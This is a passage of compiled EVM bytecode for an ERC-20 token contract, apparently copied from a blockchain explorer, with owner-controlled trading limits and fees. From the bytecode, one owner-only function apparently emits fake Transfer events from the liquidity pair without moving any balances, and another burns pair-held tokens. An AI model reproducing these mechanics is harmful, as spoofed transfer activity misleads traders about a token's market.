20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061556b60238361402a565b91506155768261550f565b604082019050919050565b6000602082019050818103600083015261559a8161555e565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006155d760168361402a565b91506155e2826155a1565b602082019050919050565b60006020820190508181036000830152615606816155ca565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061568f60498361402a565b915061569a8261560d565b606082019050919050565b600060208201905081810360008301526156be81615682565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061572160358361402a565b915061572c826156c5565b604082019050919050565b6000602082019050818103600083015261575081615714565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061578d60138361402a565b915061579882615757565b602082019050919050565b600060208201905081810360008301526157bc81615780565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061581f60368361402a565b915061582a826157c3565b604082019050919050565b6000602082019050818103600083015261584e81615812565b9050919050565b600061586082614143565b915061586b83614143565b925082820390508181111561588357615882614b61565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006158bf601b8361402a565b91506158ca82615889565b602082019050919050565b600060208201905081810360008301526158ee816158b2565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061595160218361402a565b915061595c826158f5565b604082019050919050565b6000602082019050818103600083015261598081615944565b9050919050565b600081905092915050565b50565b60006159a2600083615987565b91506159ad82615992565b600082019050919050565b60006159c382615995565b9150819050919050565b6000815190506159dc81614117565b92915050565b6000602082840312156159f8576159f76140db565b5b6000615a06848285016159cd565b91505092915050565b6000819050919050565b6000615a34615a2f615a2a84615a0f565b614335565b614143565b9050919050565b615a4481615a19565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615a7f81614105565b82525050565b6000615a918383615a76565b60208301905092915050565b6000602082019050919050565b6000615ab582615a4a565b615abf8185615a55565b9350615aca83615a66565b8060005b83811015615afb578151615ae28882615a85565b9750615aed83615a9d565b925050600181019050615ace565b5085935050505092915050565b600060a082019050615b1d60008301886143af565b615b2a6020830187615a3b565b8181036040830152615b3c8186615aaa565b9050615b4b606083018561450f565b615b5860808301846143af565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122007f7211f9fd3cfcce0c838d7b87710f117ea56ff5f2b8d62510a2ac03535361e64736f6c63430008150033000000000000000000000000dbdbd21cac52981aa96a5db0313e968a1cfafe0c

Deployed Bytecode

0x6080604052600436106104145760003560e01c80638a8c523c1161021e578063c18bc19511610123578063e0dc3546116100ab578063f11a24d31161007a578063f11a24d314610fcc578063f2fde38b14610ff7578063f637434214611020578063f8b45b051461104b578063fe72b27a146110765761041b565b8063e0dc354614610f24578063e0df5b6f14610f4f578063e2f4560514610f78578063e63e646f14610fa35761041b565b8063c8c8ebe4116100f2578063c8c8ebe414610e29578063d257b34f14610e54578063d547cfb714610e91578063d85ba06314610ebc578063dd62ed3e14610ee75761041b565b8063c18bc19514610d81578063c2b7bbb614610daa578063c3f93b0114610dd3578063c876d0b914610dfe5761041b565b8063a0d82dc5116101a6578063a9059cbb11610175578063a9059cbb14610c8a578063b62496f514610cc7578063bbbb3ffc14610d04578063bbc0c74214610d2d578063c024666814610d585761041b565b8063a0d82dc514610bce578063a165506f14610bf9578063a457c2d714610c22578063a4c82a0014610c5f5761041b565b806392136913116101ed5780639213691314610af757806395d89b4114610b225780639c3b4fdc14610b4d5780639ec22c0e14610b785780639fccce3214610ba35761041b565b80638a8c523c14610a5f5780638bdb2afa14610a765780638da5cb5b14610aa15780638ea5220f14610acc5761041b565b8063313ce567116103245780636ddd1713116102ac578063751039fc1161027b578063751039fc1461098a578063756b7bb7146109b55780637571336a146109e057806375f0a87414610a095780637bce5a0414610a345761041b565b80636ddd1713146108e257806370a082311461090d578063715018a61461094a578063730c1888146109615761041b565b80633eb2b5ad116102f35780633eb2b5ad146107fb57806349bd5a5e146108245780634fbee1931461084f578063660a00ed1461088c5780636a486a8e146108b75761041b565b8063313ce5671461073d5780633582ad231461076857806339509351146107935780633c130d90146107d05761041b565b80631a8145bb116103a757806326ededb81161037657806326ededb81461065657806327c8f8351461067f5780632c3e486c146106aa5780632e60163a146106d55780632e82f1a0146107125761041b565b80631a8145bb1461059a5780631f3fed8f146105c5578063203e727e146105f057806323b872dd146106195761041b565b80631694505e116103e35780631694505e146104ee57806318160ddd14610519578063184c16c514610544578063199ffc721461056f5761041b565b806306fdde0314610420578063095ea7b31461044b5780630d0da2d41461048857806310d5de53146104b15761041b565b3661041b57005b600080fd5b34801561042c57600080fd5b506104356110b3565b60405161044291906140af565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190614179565b611145565b60405161047f91906141d4565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190614254565b611163565b005b3480156104bd57600080fd5b506104d860048036038101906104d39190614308565b6111a9565b6040516104e591906141d4565b60405180910390f35b3480156104fa57600080fd5b506105036111c9565b6040516105109190614394565b60405180910390f35b34801561052557600080fd5b5061052e6111ed565b60405161053b91906143be565b60405180910390f35b34801561055057600080fd5b506105596111f7565b60405161056691906143be565b60405180910390f35b34801561057b57600080fd5b506105846111fd565b60405161059191906143be565b60405180910390f35b3480156105a657600080fd5b506105af611203565b6040516105bc91906143be565b60405180910390f35b3480156105d157600080fd5b506105da611209565b6040516105e791906143be565b60405180910390f35b3480156105fc57600080fd5b50610617600480360381019061061291906143d9565b61120f565b005b34801561062557600080fd5b50610640600480360381019061063b9190614406565b6112a2565b60405161064d91906141d4565b60405180910390f35b34801561066257600080fd5b5061067d600480360381019061067891906144af565b61137b565b005b34801561068b57600080fd5b50610694611458565b6040516106a1919061451e565b60405180910390f35b3480156106b657600080fd5b506106bf61145e565b6040516106cc91906143be565b60405180910390f35b3480156106e157600080fd5b506106fc60048036038101906106f79190614308565b611464565b60405161070991906141d4565b60405180910390f35b34801561071e57600080fd5b506107276114ba565b60405161073491906141d4565b60405180910390f35b34801561074957600080fd5b506107526114cd565b60405161075f9190614555565b60405180910390f35b34801561077457600080fd5b5061077d6114d6565b60405161078a91906141d4565b60405180910390f35b34801561079f57600080fd5b506107ba60048036038101906107b59190614179565b6114e9565b6040516107c791906141d4565b60405180910390f35b3480156107dc57600080fd5b506107e561159c565b6040516107f291906140af565b60405180910390f35b34801561080757600080fd5b50610822600480360381019061081d9190614308565b61165a565b005b34801561083057600080fd5b506108396116a6565b604051610846919061451e565b60405180910390f35b34801561085b57600080fd5b5061087660048036038101906108719190614308565b6116cc565b60405161088391906141d4565b60405180910390f35b34801561089857600080fd5b506108a1611722565b6040516108ae91906143be565b60405180910390f35b3480156108c357600080fd5b506108cc61172a565b6040516108d991906143be565b60405180910390f35b3480156108ee57600080fd5b506108f7611730565b60405161090491906141d4565b60405180910390f35b34801561091957600080fd5b50610934600480360381019061092f9190614308565b611743565b60405161094191906143be565b60405180910390f35b34801561095657600080fd5b5061095f61178c565b005b34801561096d57600080fd5b506109886004803603810190610983919061459c565b611852565b005b34801561099657600080fd5b5061099f61191e565b6040516109ac91906141d4565b60405180910390f35b3480156109c157600080fd5b506109ca61194a565b6040516109d791906140af565b60405180910390f35b3480156109ec57600080fd5b50610a076004803603810190610a0291906145ef565b6119dc565b005b348015610a1557600080fd5b50610a1e611a3f565b604051610a2b919061451e565b60405180910390f35b348015610a4057600080fd5b50610a49611a65565b604051610a5691906143be565b60405180910390f35b348015610a6b57600080fd5b50610a74611a6b565b005b348015610a8257600080fd5b50610a8b611ab2565b604051610a989190614650565b60405180910390f35b348015610aad57600080fd5b50610ab6611ad8565b604051610ac3919061451e565b60405180910390f35b348015610ad857600080fd5b50610ae1611b01565b604051610aee919061451e565b60405180910390f35b348015610b0357600080fd5b50610b0c611b27565b604051610b1991906143be565b60405180910390f35b348015610b2e57600080fd5b50610b37611b2d565b604051610b4491906140af565b60405180910390f35b348015610b5957600080fd5b50610b62611bbf565b604051610b6f91906143be565b60405180910390f35b348015610b8457600080fd5b50610b8d611bc5565b604051610b9a91906143be565b60405180910390f35b348015610baf57600080fd5b50610bb8611bcb565b604051610bc591906143be565b60405180910390f35b348015610bda57600080fd5b50610be3611bd1565b604051610bf091906143be565b60405180910390f35b348015610c0557600080fd5b50610c206004803603810190610c1b919061466b565b611bd7565b005b348015610c2e57600080fd5b50610c496004803603810190610c449190614179565b611bed565b604051610c5691906141d4565b60405180910390f35b348015610c6b57600080fd5b50610c74611cba565b604051610c8191906143be565b60405180910390f35b348015610c9657600080fd5b50610cb16004803603810190610cac9190614179565b611cc0565b604051610cbe91906141d4565b60405180910390f35b348015610cd357600080fd5b50610cee6004803603810190610ce99190614308565b611cde565b604051610cfb919061451e565b60405180910390f35b348015610d1057600080fd5b50610d2b6004803603810190610d26919061466b565b611d11565b005b348015610d3957600080fd5b50610d42611df5565b604051610d4f91906141d4565b60405180910390f35b348015610d6457600080fd5b50610d7f6004803603810190610d7a91906145ef565b611e08565b005b348015610d8d57600080fd5b50610da86004803603810190610da391906143d9565b611eb9565b005b348015610db657600080fd5b50610dd16004803603810190610dcc9190614308565b611f4c565b005b348015610ddf57600080fd5b50610de8611fc5565b604051610df591906140af565b60405180910390f35b348015610e0a57600080fd5b50610e13612057565b604051610e2091906141d4565b60405180910390f35b348015610e3557600080fd5b50610e3e61206a565b604051610e4b91906143be565b60405180910390f35b348015610e6057600080fd5b50610e7b6004803603810190610e7691906143d9565b612070565b604051610e8891906141d4565b60405180910390f35b348015610e9d57600080fd5b50610ea6612151565b604051610eb391906140af565b60405180910390f35b348015610ec857600080fd5b50610ed16121df565b604051610ede91906143be565b60405180910390f35b348015610ef357600080fd5b50610f0e6004803603810190610f09919061466b565b6121e5565b604051610f1b91906143be565b60405180910390f35b348015610f3057600080fd5b50610f3961226c565b604051610f4691906140af565b60405180910390f35b348015610f5b57600080fd5b50610f766004803603810190610f7191906147db565b6122fe565b005b348015610f8457600080fd5b50610f8d612319565b604051610f9a91906143be565b60405180910390f35b348015610faf57600080fd5b50610fca6004803603810190610fc59190614824565b61231f565b005b348015610fd857600080fd5b50610fe16123cc565b604051610fee91906143be565b60405180910390f35b34801561100357600080fd5b5061101e60048036038101906110199190614308565b6123d2565b005b34801561102c57600080fd5b50611035612506565b60405161104291906143be565b60405180910390f35b34801561105757600080fd5b5061106061250c565b60405161106d91906143be565b60405180910390f35b34801561108257600080fd5b5061109d600480360381019061109891906143d9565b612512565b6040516110aa91906141d4565b60405180910390f35b6060600480546110c2906148b3565b80601f01602080910402602001604051908101604052809291908181526020018280546110ee906148b3565b801561113b5780601f106111105761010080835404028352916020019161113b565b820191906000526020600020905b81548152906001019060200180831161111e57829003601f168201915b5050505050905090565b60006111596111526127af565b84846127b7565b6001905092915050565b61116b612980565b85856008918261117c929190614a91565b5083836009918261118e929190614a91565b508181600a91826111a0929190614a91565b50505050505050565b60286020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600654905090565b60145481565b60165481565b601e5481565b601d5481565b611217612980565b633b9aca006103e860016112296111ed565b6112339190614b90565b61123d9190614c01565b6112479190614c01565b811015611289576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128090614ca4565b60405180910390fd5b633b9aca00816112999190614b90565b60118190555050565b60006112af8484846129fe565b611370846112bb6127af565b61136b85604051806060016040528060288152602001615b8960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113216127af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461356f9092919063ffffffff16565b6127b7565b600190509392505050565b611383612980565b60005b83839050811015611452578383828181106113a4576113a3614cc4565b5b90506020020160208101906113b99190614308565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161143791906143be565b60405180910390a3808061144a90614cf3565b915050611386565b50505050565b61dead81565b60175481565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b602460019054906101000a900460ff1681565b60006009905090565b602460039054906101000a900460ff1681565b60006115926114f66127af565b8461158d85600360006115076127af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d390919063ffffffff16565b6127b7565b6001905092915050565b60606000600b80546115ad906148b3565b9050116115c95760405180602001604052806000815250611655565b600b80546115d6906148b3565b80601f0160208091040260200160405190810160405280929190818152602001828054611602906148b3565b801561164f5780601f106116245761010080835404028352916020019161164f565b820191906000526020600020905b81548152906001019060200180831161163257829003601f168201915b50505050505b905090565b611662612980565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600046905090565b60235481565b602460049054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611794612980565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61185a612980565b61025883101561189f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189690614dad565b60405180910390fd5b6103e882111580156118b2575060008210155b6118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e890614e3f565b60405180910390fd5b826017819055508160168190555080602460016101000a81548160ff021916908315150217905550505050565b6000611928612980565b6000602460036101000a81548160ff0219169083151502179055506001905090565b606060098054611959906148b3565b80601f0160208091040260200160405190810160405280929190818152602001828054611985906148b3565b80156119d25780601f106119a7576101008083540402835291602001916119d2565b820191906000526020600020905b8154815290600101906020018083116119b557829003601f168201915b5050505050905090565b6119e4612980565b80602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b611a73612980565b6001602460026101000a81548160ff0219169083151502179055506001602460046101000a81548160ff02191690831515021790555042601881905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60225481565b606060058054611b3c906148b3565b80601f0160208091040260200160405190810160405280929190818152602001828054611b68906148b3565b8015611bb55780601f10611b8a57610100808354040283529160200191611bb5565b820191906000526020600020905b815481529060010190602001808311611b9857829003601f168201915b5050505050905090565b60195481565b60155481565b601f5481565b60205481565b611bdf612980565b611be98282611d11565b5050565b6000611cb0611bfa6127af565b84611cab85604051806060016040528060258152602001615bb16025913960036000611c246127af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461356f9092919063ffffffff16565b6127b7565b6001905092915050565b60185481565b6000611cd4611ccd6127af565b84846129fe565b6001905092915050565b60296020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d19612980565b80602960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b602460029054906101000a900460ff1681565b611e10612980565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611ead91906141d4565b60405180910390a25050565b611ec1612980565b633b9aca006103e86005611ed36111ed565b611edd9190614b90565b611ee79190614c01565b611ef19190614c01565b811015611f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2a90614ed1565b60405180910390fd5b633b9aca0081611f439190614b90565b60108190555050565b611f54612980565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611fc2600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119dc565b50565b6060600a8054611fd4906148b3565b80601f0160208091040260200160405190810160405280929190818152602001828054612000906148b3565b801561204d5780601f106120225761010080835404028352916020019161204d565b820191906000526020600020905b81548152906001019060200180831161203057829003601f168201915b5050505050905090565b602460059054906101000a900460ff1681565b60115481565b600061207a612980565b620186a060016120886111ed565b6120929190614b90565b61209c9190614c01565b8210156120de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d590614f63565b60405180910390fd5b6103e8600a6120eb6111ed565b6120f59190614b90565b6120ff9190614c01565b821115612141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213890614ff5565b60405180910390fd5b8160128190555060019050919050565b600b805461215e906148b3565b80601f016020809104026020016040519081016040528092919081815260200182805461218a906148b3565b80156121d75780601f106121ac576101008083540402835291602001916121d7565b820191906000526020600020905b8154815290600101906020018083116121ba57829003601f168201915b505050505081565b601c5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60606008805461227b906148b3565b80601f01602080910402602001604051908101604052809291908181526020018280546122a7906148b3565b80156122f45780601f106122c9576101008083540402835291602001916122f4565b820191906000526020600020905b8154815290600101906020018083116122d757829003601f168201915b5050505050905090565b612306612980565b80600b90816123159190615015565b5050565b60125481565b612327612980565b60005b838390508110156123c657816025600086868581811061234d5761234c614cc4565b5b90506020020160208101906123629190614308565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806123be90614cf3565b91505061232a565b50505050565b601a5481565b6123da612980565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612449576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244090615159565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60215481565b60105481565b600061251c612980565b60145460155461252c9190615179565b421161256d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612564906151f9565b60405180910390fd5b6103e88211156125b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a99061528b565b60405180910390fd5b4260158190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401612616919061451e565b602060405180830381865afa158015612633573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061265791906152c0565b90506000612682612710612674868561363190919063ffffffff16565b6136ab90919063ffffffff16565b905060008111156126bd576126bc600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836136f5565b5b600060296000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561278b57600080fd5b505af115801561279f573d6000803e3d6000fd5b5050505060019350505050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281d9061535f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288c906153f1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161297391906143be565b60405180910390a3505050565b6129886127af565b73ffffffffffffffffffffffffffffffffffffffff166129a661398c565b73ffffffffffffffffffffffffffffffffffffffff16146129fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f39061545d565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a64906154ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad390615581565b60405180910390fd5b4360138190555060008103612afc57612af7838360006136f5565b61356a565b602460039054906101000a900460ff16156131135761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612b825750612b52611ad8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bbb5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bfa5750612bca611ad8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612c135750602460009054906101000a900460ff16155b1561311257602460029054906101000a900460ff16612d0d57602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612ccd5750602760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d03906155ed565b60405180910390fd5b5b602460059054906101000a900460ff1615612ed757612d2a611ad8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612db157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e0b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612ed65743602660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e88906156a5565b60405180910390fd5b43602660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fca57601154811115612f6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f6490615737565b60405180910390fd5b601054612f7983611743565b82612f849190615179565b1115612fc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbc906157a3565b60405180910390fd5b613111565b602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661306557601154811115613060576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161305790615835565b60405180910390fd5b613110565b602860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661310f576010546130c283611743565b826130cd9190615179565b111561310e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613105906157a3565b60405180910390fd5b5b5b5b5b5b601354600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061316430611743565b9050600060125482101590508080156131895750602460049054906101000a900460ff165b80156131a25750602460009054906101000a900460ff16155b80156131f85750602760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561324e5750602760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613292576001602460006101000a81548160ff0219169083151502179055506132766139a0565b6000602460006101000a81548160ff0219169083151502179055505b602460009054906101000a900460ff161580156132bb5750602460019054906101000a900460ff165b156132cb576132c985613b28565b505b6000602460009054906101000a900460ff16159050602760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133815750602760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561338b57600090505b6000811561355a5760006023541115613466576133c660646133b86023548861363190919063ffffffff16565b6136ab90919063ffffffff16565b9050602354602154826133d99190614b90565b6133e39190614c01565b601e60008282546133f49190615179565b925050819055506023546020548261340c9190614b90565b6134169190614c01565b601f60008282546134279190615179565b925050819055506023546022548261343f9190614b90565b6134499190614c01565b601d600082825461345a9190615179565b92505081905550613536565b6000601c54111561353557613499606461348b601c548861363190919063ffffffff16565b6136ab90919063ffffffff16565b9050601c54601a54826134ac9190614b90565b6134b69190614c01565b601e60008282546134c79190615179565b92505081905550601c54601954826134df9190614b90565b6134e99190614c01565b601f60008282546134fa9190615179565b92505081905550601c54601b54826135129190614b90565b61351c9190614c01565b601d600082825461352d9190615179565b925050819055505b5b600081111561354b5761354a8730836136f5565b5b80856135579190615855565b94505b6135658787876136f5565b505050505b505050565b60008383111582906135b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135ae91906140af565b60405180910390fd5b50600083856135c69190615855565b9050809150509392505050565b60008082846135e29190615179565b905083811015613627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161361e906158d5565b60405180910390fd5b8091505092915050565b600080830361364357600090506136a5565b600082846136519190614b90565b90508284826136609190614c01565b146136a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161369790615967565b60405180910390fd5b809150505b92915050565b60006136ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c35565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161375b906154ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036137d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137ca90615581565b60405180910390fd5b6137de838383613c98565b61384a81604051806060016040528060268152602001615b6360269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461356f9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138df81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161397f91906143be565b60405180910390a3505050565b600080613997613c9d565b90508091505090565b60006139ab30611743565b90506000601f54601d54601e546139c29190615179565b6139cc9190615179565b90506000808314806139de5750600082145b156139eb57505050613b26565b60146012546139fa9190614b9